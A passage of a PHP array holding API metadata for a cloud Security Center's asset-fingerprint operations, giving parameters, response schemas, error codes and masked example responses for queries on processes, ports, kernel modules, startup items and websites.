], ], ], 'description' => '', ], ], 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => 'C699E4E4-F2F4-58FC-A949-457FFE59****', ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'staticInfo' => [ 'returnType' => 'synchronous', ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"SupportedModuleResponse\\": [\\n {\\n \\"Vendor\\": \\"Tencent\\",\\n \\"SupportedModules\\": [\\n {\\n \\"Module\\": \\"HOST\\",\\n \\"ModuleDisp\\": \\"云产品配置检查\\"\\n }\\n ]\\n }\\n ],\\n \\"RequestId\\": \\"C699E4E4-F2F4-58FC-A949-457FFE59****\\"\\n}","type":"json"}]', 'title' => 'GetSupportedModules', 'translator' => 'machine', ], 'DescribeAssetsScaProcessNum' => [ 'summary' => 'Queries the number of Java processes in an asset by using the asset fingerprints feature of Security Center.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'get', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeCode' => '225158', 'abilityTreeNodes' => [ 'FEATUREsas36IOGX', ], ], 'parameters' => [ [ 'name' => 'UuidList', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'The UUIDs of the servers.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The UUID of the server.'."\n" ."\n" .'> You can call the [DescribeCloudCenterInstances](~~141932~~) operation to query the UUID of the server.'."\n", 'type' => 'string', 'required' => false, 'example' => '55bf7984-9b3b-4e8d-be8e-f3e5b0b4****', ], 'required' => true, 'maxItems' => 100, 'minItems' => 1, ], ], [ 'name' => 'BizType', 'in' => 'query', 'schema' => [ 'description' => 'The type of the application process. Default value: java. Valid values:'."\n" ."\n" .'* **java**'."\n" .'* **php**'."\n", 'type' => 'string', 'required' => false, 'example' => 'java', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'title' => 'Schema of Response', 'description' => 'The response parameters.'."\n", 'type' => 'object', 'properties' => [ 'RequestId' => [ 'title' => 'Id of the request', 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => 'ACF97412-FD09-4D1F-994F-34DF12BREF20', ], 'Data' => [ 'description' => 'The statistical results.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The information about a single statistical result.'."\n", 'type' => 'object', 'properties' => [ 'Uuid' => [ 'description' => 'The UUID of the asset.'."\n" ."\n" .'> If no processes exist on the asset, no statistical result is returned.'."\n", 'type' => 'string', 'example' => '6690a46c-0edb-4663-a641-3629d1a9****', ], 'Count' => [ 'description' => 'The number of Java processes.'."\n" ."\n" .'> If no processes exist on the asset, no statistical result is returned.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '2', ], ], ], ], ], ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'IllegalParameter', 'errorMessage' => 'Illegal parameter, please check the param.', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'staticInfo' => [ 'returnType' => 'synchronous', ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"ACF97412-FD09-4D1F-994F-34DF12BREF20\\",\\n \\"Data\\": [\\n {\\n \\"Uuid\\": \\"6690a46c-0edb-4663-a641-3629d1a9****\\",\\n \\"Count\\": 2\\n }\\n ]\\n}","type":"json"}]', 'title' => 'DescribeAssetsScaProcessNum', ], 'DescribePropertyUsageTop' => [ 'summary' => 'Uses the asset fingerprints feature to obtain the statistics on top five most frequently detected ports, processes, software, accounts, or middleware.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'systemTags' => [ 'operationType' => 'get', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeCode' => '92165', 'abilityTreeNodes' => [ 'FEATUREsas36IOGX', ], ], 'parameters' => [ [ 'name' => 'Type', 'in' => 'query', 'schema' => [ 'description' => 'The type of the asset fingerprint. Valid value:'."\n" ."\n" .'* **port**: port'."\n" .'* **process**: process'."\n" .'* **software**: software'."\n" .'* **user**: account'."\n" .'* **sca**: middleware'."\n", 'type' => 'string', 'required' => true, 'example' => 'port', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'type' => 'object', 'properties' => [ 'Type' => [ 'description' => 'The type of the asset fingerprint. Valid value:'."\n" ."\n" .'* **port**: port'."\n" .'* **process**: process'."\n" .'* **software**: software'."\n" .'* **user**: account'."\n" .'* **sca**: middleware'."\n", 'type' => 'string', 'example' => 'sca', ], 'ItemCount' => [ 'description' => 'The number of fingerprints.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '5', ], 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => '16AA5B62-A3C1-520B-B289-4BD971CC17AB', ], 'TopStatisticItems' => [ 'description' => 'The statistical results.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The statistical result.'."\n", 'type' => 'object', 'properties' => [ 'Name' => [ 'description' => 'The statistical item.'."\n", 'type' => 'string', 'example' => 'openssl', ], 'Count' => [ 'description' => 'The quantity.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], ], ], ], ], 'description' => '', ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Type\\": \\"sca\\",\\n \\"ItemCount\\": 5,\\n \\"RequestId\\": \\"16AA5B62-A3C1-520B-B289-4BD971CC17AB\\",\\n \\"TopStatisticItems\\": [\\n {\\n \\"Name\\": \\"openssl\\",\\n \\"Count\\": 1\\n }\\n ]\\n}","type":"json"}]', 'title' => 'DescribePropertyUsageTop', 'description' => 'Only users who purchase the Enterprise or Ultimate edition of Security Center can call this operation.'."\n", ], 'DescribePropertyScaProcessDetail' => [ 'summary' => 'Queries the Java processes that are collected by the asset fingerprints feature of Security Center in your assets.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'none', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeCode' => '223093', 'abilityTreeNodes' => [ 'FEATUREsas36IOGX', ], ], 'parameters' => [ [ 'name' => 'Remark', 'in' => 'query', 'schema' => [ 'description' => 'The information about the server that you want to query. The value can be the public IP address, private IP address, or name of the server. Fuzzy match is supported.'."\n", 'type' => 'string', 'required' => false, 'example' => '10.167.XX.XX', ], ], [ 'name' => 'Uuid', 'in' => 'query', 'schema' => [ 'description' => 'The UUID of the server.'."\n" ."\n" .'> '."\n" ."\n" .'* You can call the [DescribeCloudCenterInstances](~~DescribeCloudCenterInstances~~) operation to query the UUIDs of servers.'."\n" ."\n" .'* Only exact match is supported.'."\n", 'type' => 'string', 'required' => false, 'example' => 'D0D6E6E4-CB8C-4897-B852-46AEFDA0****', ], ], [ 'name' => 'Pid', 'in' => 'query', 'schema' => [ 'description' => 'The process ID.'."\n" ."\n" .'> Only exact match is supported.'."\n", 'type' => 'string', 'required' => false, 'example' => '756', ], ], [ 'name' => 'PageSize', 'in' => 'query', 'schema' => [ 'description' => 'The number of entries per page. Default value: 10. If you leave this parameter empty, 10 entries are returned on each page.'."\n" ."\n" .'> We recommend that you do not leave this parameter empty.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '10', ], ], [ 'name' => 'CurrentPage', 'in' => 'query', 'schema' => [ 'description' => 'The page number. Default value: **1**.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '1', ], ], [ 'name' => 'Cmdline', 'in' => 'query', 'schema' => [ 'description' => 'The startup parameter.'."\n" ."\n" .'> This parameter supports only prefix queries. Fuzzy match is not supported.'."\n", 'type' => 'string', 'required' => false, 'example' => 'java -jar', ], ], [ 'name' => 'BizType', 'in' => 'query', 'schema' => [ 'description' => 'The type of the application process. Default value: **java**. Valid values:'."\n" ."\n" .'* **java**: Java process.'."\n" .'* **php**: PHP process.'."\n", 'type' => 'string', 'required' => false, 'example' => 'java', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => 'ADE57832-9666-511C-9A80-B87DE2E8****', ], 'PageInfo' => [ 'description' => 'The pagination information.'."\n", 'type' => 'object', 'properties' => [ 'CurrentPage' => [ 'description' => 'The page number.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'PageSize' => [ 'description' => 'The number of entries per page. Default value: **10**.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '10', ], 'TotalCount' => [ 'description' => 'The total number of entries returned.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '69', ], 'Count' => [ 'description' => 'The number of entries returned on the current page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '10', ], ], ], 'Propertys' => [ 'description' => 'The processes collected by the asset fingerprints feature.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The information about the process.'."\n", 'type' => 'object', 'properties' => [ 'InternetIp' => [ 'description' => 'The public IP address of the server.'."\n", 'type' => 'string', 'example' => '120.26.XX.XX', ], 'InstanceId' => [ 'description' => 'The instance ID of the server.'."\n", 'type' => 'string', 'example' => 'i-hp35tftuh52wbp1g****', ], 'Cmdline' => [ 'description' => 'The command line of the process.'."\n", 'type' => 'string', 'example' => 'java -Xms128m -Xmx512m -DNACOS_URL=http://10.184.XX.XX:8848 -DNACOS_NAMESPACE=iam-sit -jar /opt/service/xxl-job/xxl-job-admin-2.3.0.jar', ], 'IntranetIp' => [ 'description' => 'The private IP address of the server.'."\n", 'type' => 'string', 'example' => '192.168.XX.XX', ], 'Name' => [ 'description' => 'The name of the process.'."\n", 'type' => 'string', 'example' => 'java', ], 'CreateTimestamp' => [ 'description' => 'The timestamp at which the last asset fingerprint collection is performed. Unit: milliseconds.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1597987834000', ], 'InstanceName' => [ 'description' => 'The instance name of the server.'."\n", 'type' => 'string', 'example' => 'hc-host-****', ], 'Pid' => [ 'description' => 'The ID of the process.'."\n", 'type' => 'string', 'example' => '522', ], 'Uuid' => [ 'description' => 'The UUID of the server.'."\n", 'type' => 'string', 'example' => '162eb349-c2d9-4f8b-805c-75b43d4c****', ], 'Version' => [ 'description' => 'The version of web application service.', 'type' => 'string', 'example' => '3.10.0', ], ], ], ], ], 'description' => '', ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'IllegalParameter', 'errorMessage' => 'Illegal parameter, please check the param.', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'staticInfo' => [ 'returnType' => 'synchronous', ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"ADE57832-9666-511C-9A80-B87DE2E8****\\",\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 10,\\n \\"TotalCount\\": 69,\\n \\"Count\\": 10\\n },\\n \\"Propertys\\": [\\n {\\n \\"InternetIp\\": \\"120.26.XX.XX\\",\\n \\"InstanceId\\": \\"i-hp35tftuh52wbp1g****\\",\\n \\"Cmdline\\": \\"java -Xms128m -Xmx512m -DNACOS_URL=http://10.184.XX.XX:8848 -DNACOS_NAMESPACE=iam-sit -jar /opt/service/xxl-job/xxl-job-admin-2.3.0.jar\\",\\n \\"IntranetIp\\": \\"192.168.XX.XX\\",\\n \\"Name\\": \\"java\\",\\n \\"CreateTimestamp\\": 1597987834000,\\n \\"InstanceName\\": \\"hc-host-****\\",\\n \\"Pid\\": \\"522\\",\\n \\"Uuid\\": \\"162eb349-c2d9-4f8b-805c-75b43d4c****\\",\\n \\"Version\\": \\"3.10.0\\"\\n }\\n ]\\n}","type":"json"}]', 'title' => 'DescribePropertyScaProcessDetail', 'translator' => 'machine', ], 'GetPropertyScheduleConfig' => [ 'summary' => 'Queries the configurations for the collection frequency of asset fingerprints.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'systemTags' => [ 'operationType' => 'get', ], 'parameters' => [ [ 'name' => 'Type', 'in' => 'query', 'schema' => [ 'description' => 'The type of the asset fingerprints. Valid values:'."\n" ."\n" .'* **scheduler_port_period**: listening port'."\n" .'* **scheduler_process_period**: running process'."\n" .'* **scheduler_account_period**: account'."\n" .'* **scheduler_software_period**: software'."\n" .'* **scheduler_cron_period**: scheduled task'."\n" .'* **scheduler_sca_period**: middleware'."\n" .'* **scheduler_autorun_period**: startup item'."\n" .'* **scheduler_lkm_period**: kernel module'."\n" .'* **scheduler_sca_proxy_period**: website'."\n", 'type' => 'string', 'required' => false, 'example' => 'scheduler_sca_period', ], ], [ 'name' => 'Uuid', 'in' => 'query', 'schema' => [ 'description' => 'The UUID of the server.'."\n" ."\n" .'> You can call the [DescribeCloudCenterInstances](~~DescribeCloudCenterInstances~~) operation to query the UUIDs of servers.'."\n", 'type' => 'string', 'required' => false, 'example' => '50d213b4-3a35-427a-b8a5-04b0c7e1****', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'description' => 'The data returned.'."\n", 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => 'B37C9052-A73E-4707-A024-92477028****', ], 'PropertyScheduleConfig' => [ 'description' => 'The configurations for the collection frequency of asset fingerprints.'."\n", 'type' => 'object', 'properties' => [ 'ScheduleTime' => [ 'description' => 'The collection frequency of asset fingerprints. Valid values:'."\n" ."\n" .'* **0**: disabled, which indicates that the asset fingerprints are not automatically or periodically collected.'."\n" .'* **1**: collects asset fingerprints once an hour.'."\n" .'* **3**: collects asset fingerprints once every 3 hours.'."\n" .'* **12**: collects asset fingerprints once every 12 hours.'."\n" .'* **24**: collects asset fingerprints once a day.'."\n" .'* **168**: collects asset fingerprints once every 7 days.'."\n", 'type' => 'string', 'example' => '3', ], 'Type' => [ 'description' => 'The type of the asset fingerprints. Valid values:'."\n" ."\n" .'* **scheduler_port_period**: listening port'."\n" .'* **scheduler_process_period**: running process'."\n" .'* **scheduler_account_period**: account'."\n" .'* **scheduler_software_period**: software'."\n" .'* **scheduler_cron_period**: scheduled task'."\n" .'* **scheduler_sca_period**: middleware'."\n" .'* **scheduler_autorun_period**: startup item'."\n" .'* **scheduler_lkm_period**: kernel module'."\n" .'* **scheduler_sca_proxy_period**: website'."\n", 'type' => 'string', 'example' => 'scheduler_account_period', ], 'NextScheduleTime' => [ 'description' => 'The timestamp when the next collection of asset fingerprints starts. Unit: milliseconds.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1671630647018', ], ], ], ], ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'IllegalParam', 'errorMessage' => 'Illegal param', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"B37C9052-A73E-4707-A024-92477028****\\",\\n \\"PropertyScheduleConfig\\": {\\n \\"ScheduleTime\\": \\"3\\",\\n \\"Type\\": \\"scheduler_account_period\\",\\n \\"NextScheduleTime\\": 1671630647018\\n }\\n}","type":"json"}]', 'title' => 'GetPropertyScheduleConfig', ], 'GetAssetsPropertyItem' => [ 'summary' => 'Queries the aggregation information about the asset fingerprints of the startup item, kernel module, or website type.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'systemTags' => [ 'operationType' => 'get', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeNodes' => [ 'FEATUREsas36IOGX', ], ], 'parameters' => [ [ 'name' => 'Lang', 'in' => 'query', 'schema' => [ 'description' => 'The language of the content within the request and response. Default value: **zh**. Valid values:'."\n" ."\n" .'* zh: Chinese'."\n" .'* en: English'."\n", 'type' => 'string', 'required' => false, 'example' => 'en', ], ], [ 'name' => 'ForceFlush', 'in' => 'query', 'schema' => [ 'description' => 'Specifies whether to forcefully refresh the data that you want to query. Valid values:'."\n" ."\n" .'* **true**: yes'."\n" .'* **false**: no'."\n", 'type' => 'boolean', 'required' => false, 'example' => 'false', ], ], [ 'name' => 'Biz', 'in' => 'query', 'schema' => [ 'description' => 'The type of the asset fingerprint that you want to query. Default value: **sca**. Valid values:'."\n" ."\n" .'* **lkm**: kernel module'."\n" .'* **autorun**: startup item'."\n" .'* **web_server**: website'."\n", 'type' => 'string', 'required' => true, 'example' => 'lkm', ], ], [ 'name' => 'SearchItem', 'in' => 'query', 'schema' => [ 'description' => 'The type of the search condition. You must specify this parameter based on the value of the **Biz** parameter. Valid values:'."\n" ."\n" .'* If you set **Biz** to **web_server**, set **SearchItem** to the following value:'."\n" ."\n" .' * **domain**: the domain name'."\n" ."\n" .'* If you set **Biz** to **lkm**, set **SearchItem** to the following value:'."\n" ."\n" .' * **module_name**: the name of the module'."\n" ."\n" .'* If you set **Biz** to **autorun**, set **SearchItem** to the following value:'."\n" ."\n" .' * **path**: the path to the self-starting item'."\n" ."\n" .'> You must specify both the **SearchItem** and **SearchInfo** parameters before you can query the information about asset fingerprints by asset fingerprint name.'."\n", 'type' => 'string', 'required' => false, 'example' => 'path', ], ], [ 'name' => 'SearchInfo', 'in' => 'query', 'schema' => [ 'description' => 'The value of the search condition. You must specify this parameter based on the value of the **SearchItem** parameter.'."\n" ."\n" .'* If you set **SearchItem** to **domain**, you must enter the domain name.'."\n" .'* If you set **SearchItem** to **module_name**, you must enter the module name.'."\n" .'* If you set **SearchItem** to **path**, you must enter the path to the self-starting item.'."\n" ."\n" .'> You must specify both the **SearchItem** and **SearchInfo** parameters before you can query the information about asset fingerprints by asset fingerprint name.'."\n", 'type' => 'string', 'required' => false, 'example' => '/lib/systemd/s****', ], ], [ 'name' => 'CurrentPage', 'in' => 'query', 'schema' => [ 'description' => 'The number of the page to return. Default value: **1**.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'minimum' => '1', 'example' => '1', 'default' => '1', ], ], [ 'name' => 'PageSize', 'in' => 'query', 'schema' => [ 'description' => 'The number of entries per page. Default value: 20. If you leave this parameter empty, 20 entries are returned on each page.'."\n" ."\n" .'> We recommend that you do not leave this parameter empty.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'maximum' => '1000', 'minimum' => '1', 'example' => '20', 'default' => '20', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'description' => 'The data returned.'."\n", 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => '340D7FC4-D575-1661-8ACD-CFA7BE57****', ], 'PageInfo' => [ 'description' => 'The pagination information.'."\n", 'type' => 'object', 'properties' => [ 'CurrentPage' => [ 'description' => 'The page number of the returned page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'PageSize' => [ 'description' => 'The number of entries returned per page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '20', ], 'TotalCount' => [ 'description' => 'The total number of entries returned.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '45', ], 'Count' => [ 'description' => 'The number of entries returned on the current page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '20', ], ], ], 'PropertyItems' => [ 'description' => 'An array that consists of the aggregation information about asset fingerprints.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The aggregation information about asset fingerprints.'."\n", 'type' => 'object', 'properties' => [ 'Count' => [ 'description' => 'The number of servers related to the asset fingerprints.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '23', ], 'Path' => [ 'description' => 'The path to the startup item.'."\n" ."\n" .'> This parameter is returned only when **Biz** is set to **autorun**.'."\n", 'type' => 'string', 'example' => 'C:/Program Files/****', ], 'ModuleName' => [ 'description' => 'The name of the module.'."\n" ."\n" .'> This parameter is returned only when **Biz** is set to **lkm**.'."\n", 'type' => 'string', 'example' => 'alihids', ], 'Domain' => [ 'description' => 'The endpoint.'."\n" ."\n" .'> This parameter is returned only when **Biz** is set to **web_server**.'."\n", 'type' => 'string', 'example' => 'localhost', ], 'MiddlewareName' => [ 'description' => 'AI tool name.', 'type' => 'string', 'example' => 'vllm', ], 'ModelName' => [ 'description' => 'Name of the LLM service.', 'type' => 'string', 'example' => 'Deepseek', ], ], ], ], ], ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'IllegalParam', 'errorMessage' => 'Illegal param', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"340D7FC4-D575-1661-8ACD-CFA7BE57****\\",\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 20,\\n \\"TotalCount\\": 45,\\n \\"Count\\": 20\\n },\\n \\"PropertyItems\\": [\\n {\\n \\"Count\\": 23,\\n \\"Path\\": \\"C:/Program Files/****\\",\\n \\"ModuleName\\": \\"alihids\\",\\n \\"Domain\\": \\"localhost\\",\\n \\"MiddlewareName\\": \\"vllm\\",\\n \\"ModelName\\": \\"Deepseek\\"\\n }\\n ]\\n}","type":"json"}]', 'title' => 'GetAssetsPropertyItem', 'translator' => 'machine', ], 'GetAssetsPropertyDetail' => [ 'summary' => 'Query detailed information of asset fingerprints', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'systemTags' => [ 'operationType' => 'get', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeNodes' => [ 'FEATUREsas36IOGX', ], ], 'parameters' => [ [ 'name' => 'Lang', 'in' => 'query', 'schema' => [ 'description' => 'The language type for the request and response. Values:'."\n" .'- **zh**: Chinese'."\n" .'- **en**: English', 'type' => 'string', 'required' => false, 'example' => 'en', ], ], [ 'name' => 'Biz', 'in' => 'query', 'schema' => [ 'description' => 'The type of asset fingerprint to be queried, with a default value of **sca**. Values:'."\n" ."\n" .'- **lkm**: Kernel module'."\n" .'- **autorun**: Startup item'."\n" .'- **web_server**: Web site', 'type' => 'string', 'required' => true, 'example' => 'lkm', ], ], [ 'name' => 'ItemName', 'in' => 'query', 'schema' => [ 'description' => 'The aggregated item name of the asset fingerprint to be queried.'."\n" .'> Call the [GetAssetsPropertyItem](~~GetAssetsPropertyItem~~) API to obtain this parameter.', 'type' => 'string', 'required' => false, 'example' => 'virtio', ], ], [ 'name' => 'SearchCriteriaList', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'A set of conditions for querying asset fingerprint details.', 'type' => 'array', 'items' => [ 'description' => 'Details of the conditions for querying asset fingerprint details.', 'type' => 'object', 'properties' => [ 'Name' => [ 'description' => 'The name of the condition to be queried. Values are as follows:'."\n" .'- **remarkItemName**: The aggregated item name of the asset fingerprint, supporting fuzzy matching'."\n" ."\n\n" .'>- - When **Biz** is **web_server**, **remarkItemName** represents the domain name as the search condition.'."\n" .'>- - When **Biz** is **lkm**, **remarkItemName** represents the module name as the search condition.'."\n" .'>- - When **Biz** is **autorun**, **remarkItemName** represents the startup item path as the search condition.', 'type' => 'string', 'required' => false, 'example' => 'remarkItemName', ], 'Value' => [ 'description' => 'The value of the condition to be queried.', 'type' => 'string', 'required' => false, 'example' => 'virtio', ], ], 'required' => false, ], 'required' => false, 'maxItems' => 20, ], ], [ 'name' => 'Remark', 'in' => 'query', 'schema' => [ 'description' => 'Server name or IP.', 'type' => 'string', 'required' => false, 'example' => '1.2.XX.XX', ], ], [ 'name' => 'Uuid', 'in' => 'query', 'schema' => [ 'description' => 'The UUID of the asset to be queried.'."\n" .'> Call the [DescribeCloudCenterInstances](~~DescribeCloudCenterInstances~~) API to obtain this parameter.'."\n", 'type' => 'string', 'required' => false, 'example' => '38f72ea4-4c9f-4df1-bc6c-0f267614****', ], ], [ 'name' => 'CurrentPage', 'in' => 'query', 'schema' => [ 'description' => 'Set the page number from which to start displaying the query results. The default value is **1**, indicating that the display starts from the first page.', 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '1', ], ], [ 'name' => 'PageSize', 'in' => 'query', 'schema' => [ 'description' => 'Specify the maximum number of data entries per page in a paginated query. The default number of data entries per page is 20. If the PageSize parameter is empty, 20 data entries will be returned by default.'."\n" .'> It is recommended that the PageSize value is not empty.', 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '20', ], ], [ 'name' => 'UseNextToken', 'in' => 'query', 'schema' => [ 'description' => 'Whether to use the NextToken method to fetch the list of vulnerabilities. If this parameter is used, TotalCount will not be returned. Values:'."\n" ."\n" .'- **true**: Use the NextToken method.'."\n" .'- **false**: Do not use the NextToken method.', 'type' => 'boolean', 'required' => false, 'example' => 'true', ], ], [ 'name' => 'NextToken', 'in' => 'query', 'schema' => [ 'description' => 'Used to mark the current read position. Leave it empty to start from the beginning.'."\n" .'> Do not fill in for the first call; the response will include the NextToken for the second call. Each subsequent call\'s response will contain the NextToken for the next call.', 'type' => 'string', 'required' => false, 'example' => '71640f04f6e7b49764c8d08ae170xxxx', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'description' => 'The data returned.', 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of this call request, a unique identifier generated by Alibaba Cloud for the request, which can be used to troubleshoot and locate issues.', 'type' => 'string', 'example' => '4C1AE3F3-18FA-4108-BBB9-AFA1A032****', ], 'PageInfo' => [ 'description' => 'Information displayed on the page when performing a paginated query.', 'type' => 'object', 'properties' => [ 'CurrentPage' => [ 'description' => 'The page number of the current page when performing a paginated query.', 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'PageSize' => [ 'description' => 'The number of asset fingerprint details displayed per page when performing a paginated query.', 'type' => 'integer', 'format' => 'int32', 'example' => '20', ], 'TotalCount' => [ 'description' => 'The total number of detailed asset fingerprint information queried.', 'type' => 'integer', 'format' => 'int32', 'example' => '23', ], 'Count' => [ 'description' => 'The number of asset fingerprint details displayed on the current page.', 'type' => 'integer', 'format' => 'int32', 'example' => '20', ], 'NextToken' => [ 'description' => 'The NextToken value returned when using the NextToken method.', 'type' => 'string', 'example' => 'AAAAAV3MpHK1AP0pfERHZN5pu6k+AtdhNE3kgQEK36GujZ5on+tWdc+4WoaoMP/kUNxxxx', ], ], ], 'Propertys' => [ 'description' => 'Collection of asset fingerprint details.', 'type' => 'array', 'items' => [ 'description' => 'Asset fingerprint details.', 'type' => 'object', 'properties' => [ 'ModuleName' => [ 'title' => '内核模块:模块名称', 'description' => 'Module name.'."\n" .'> Returned only when **Biz** is **lkm**.', 'type' => 'string', 'example' => 'alihids', ], 'Size' => [ 'title' => '内核模块:大小', 'description' => 'Kernel module size.'."\n" .'> Returned only when **Biz** is **lkm**.', 'type' => 'integer', 'format' => 'int32', 'example' => '10', ], 'Filepath' => [ 'title' => '内核模块:路径', 'description' => 'Kernel module file path.'."\n" .'> Returned only when **Biz** is **lkm**.', 'type' => 'string', 'example' => '/lib/modules/4****', ], 'UsedByCount' => [ 'title' => '内核模块:被依赖数目', 'description' => 'Number of dependencies for the kernel module.'."\n" .'> Returned only when **Biz** is **lkm**.', 'type' => 'integer', 'format' => 'int32', 'example' => '0', ], 'Path' => [ 'title' => '启动项:路径 web站点:安装路径', 'description' => 'The meaning varies based on the value of **Biz**:'."\n" .'- When **Biz** is **web_server**, it represents the Web root path'."\n" .'- When **Biz** is **autorun**, it represents the startup item path', 'type' => 'string', 'example' => '/lib/systemd/system****', ], 'ServerType' => [ 'title' => 'web站点:站点类型', 'description' => 'Web site type.'."\n" .'> Returned only when **Biz** is **web_server**.', 'type' => 'string', 'example' => 'nginx', ], 'Port' => [ 'title' => 'web站点:监听端口', 'description' => 'Web site port.'."\n" .'> Returned only when **Biz** is **web_server**.', 'type' => 'string', 'example' => '80', ], 'Pid' => [ 'title' => 'Pid', 'description' => 'Web site process Pid. '."\n" .'> Only returned when **Biz** is **web_server**.', 'type' => 'string', 'example' => '813', ], 'ListenProtocol' => [ 'title' => '进程监听协议', 'description' => 'Web site process listening protocol. '."\n" .'>Only returned when **Biz** is **web_server**.', 'type' => 'string', 'example' => 'tcp', ], 'ProcessStarted' => [ 'title' => '进程启动时间', 'description' => 'Timestamp of the web site process startup, in milliseconds. '."\n" .'> Only returned when **Biz** is **web_server**.', 'type' => 'integer', 'format' => 'int64', 'example' => '1671186801000', ], 'WebPath' => [ 'title' => 'web站点:web路径', 'description' => 'Web site web path. '."\n" .'> Only returned when **Biz** is **web_server**.', 'type' => 'string', 'example' => '/usr/share/nginx/html', ], 'Domain' => [ 'title' => 'web站点:域名', 'description' => 'Web site domain. '."\n" .'> Only returned when **Biz** is **web_server**.', 'type' => 'string', 'example' => 'localhost', ], 'User' => [ 'title' => 